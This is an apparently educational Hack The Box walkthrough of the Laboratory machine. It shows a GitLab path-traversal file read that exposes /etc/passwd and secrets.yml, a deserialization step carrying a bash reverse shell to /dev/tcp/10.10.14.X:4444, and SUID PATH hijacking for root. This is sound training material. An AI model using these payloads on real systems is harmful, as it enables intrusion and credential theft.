Skip to main content
🧠Educationalbeginner3 min read

HTB: Laboratory Walkthrough (Beginner Level)

A beginner-friendly walkthrough of the Hack The Box Laboratory machine, covering GitLab exploitation and privilege escalation.

Hack The BoxCTFGitLabprivilege escalationbeginner
Share:𝕏in

HTB: Laboratory Walkthrough (Beginner Level)

Laboratory is a great beginner-friendly box on Hack The Box that teaches fundamental enumeration skills and introduces GitLab vulnerability exploitation. Let's walk through it.

Box Information

  • Name: Laboratory
  • OS: Linux
  • Difficulty: Easy
  • Skills: Web enumeration, GitLab exploitation, SUID abuse

Initial Reconnaissance

Nmap Scan

nmap -sC -sV -oA nmap/laboratory 10.10.10.216

Results:

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu
80/tcp  open  http     Apache httpd 2.4.41
443/tcp open  ssl/http Apache httpd 2.4.41

Web Enumeration

Visiting the HTTP server redirects to HTTPS. The certificate reveals a hostname: laboratory.htb.

Add to /etc/hosts:

10.10.10.216 laboratory.htb git.laboratory.htb

GitLab Discovery

Browsing to git.laboratory.htb reveals a GitLab instance. The version can be identified from the help pages or login page source.

Version identified: GitLab 12.8.1

Creating an Account

GitLab allows self-registration. Create an account to explore further.

Vulnerability Research

Searching for GitLab 12.8.1 vulnerabilities reveals CVE-2020-10977 - an arbitrary file read vulnerability.

Understanding the Vulnerability

GitLab's issue move feature doesn't properly validate file paths when moving issues between projects. This allows reading arbitrary files from the server.

Exploitation

Step 1: Create Two Projects

Create two projects in GitLab:

  • project1
  • project2

Step 2: Create Issue with Malicious Path

In project1, create a new issue with a description containing:

![a]( /uploads/11111111111111111111111111111111/../../../../../../../../../../etc/passwd)

Step 3: Move Issue

Move the issue from project1 to project2. This triggers the file read.

Step 4: Download the File

The /etc/passwd file is now accessible through the moved issue's attachments.

Escalating to RCE

Reading secrets.yml

Use the same technique to read GitLab's secrets file:

/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml

This contains the secret_key_base used for session cookies.

With the secret key, we can forge a valid session cookie with arbitrary data. GitLab uses Marshal for session serialization, which allows code execution through deserialization.

Generating Payload

# Generate serialized payload
require 'erb'
require 'base64'

code = 'system("bash -c \'bash -i >& /dev/tcp/10.10.14.X/4444 0>&1\'")'
erb = ERB.new("<%= `#{code}` %>")
# ... cookie generation code

Getting Shell

  1. Set up listener: nc -lvnp 4444
  2. Send request with forged cookie
  3. Receive shell as git user

User Flag

Exploring the GitLab instance:

gitlab-rails console

Query for users and projects:

User.all
User.find_by(username: 'dexter').password

Find SSH key or credentials for user dexter, use to SSH and grab user flag.

Privilege Escalation

Enumeration

Check for SUID binaries:

find / -perm -4000 2>/dev/null

Discover custom SUID binary: /usr/local/bin/docker-security

Binary Analysis

ltrace /usr/local/bin/docker-security

Output shows the binary calls chmod without full path:

system("chmod 700 /usr/bin/docker")

PATH Hijacking

Create malicious chmod:

cd /tmp
echo '/bin/bash -p' > chmod
chmod +x chmod
export PATH=/tmp:$PATH
/usr/local/bin/docker-security

Root!

The SUID binary executes our malicious chmod, giving us a root shell.

cat /root/root.txt

Lessons Learned

For Penetration Testers

  1. Always enumerate web applications for version information
  2. Research known vulnerabilities for discovered software
  3. SUID binaries with relative paths are common privesc vectors
  4. GitLab and similar apps often have critical vulnerabilities

For Defenders

  1. Keep GitLab and similar applications patched
  2. Restrict self-registration if not needed
  3. Audit SUID binaries regularly
  4. Use full paths in privileged scripts

Tools Used

  • nmap
  • gobuster
  • GitLab exploit scripts
  • ltrace
  • Standard Linux enumeration

Want to learn penetration testing? Check out our training workshops or contact us: m1k3@msquarellc.net

Found this helpful? Share it:

Share:𝕏in

Need Help With This?

Have questions about implementing these security practices? Let's discuss your specific needs.

Get in Touch

More in Educational

Explore more articles in this category.

Browse 🧠 Educational

Related Articles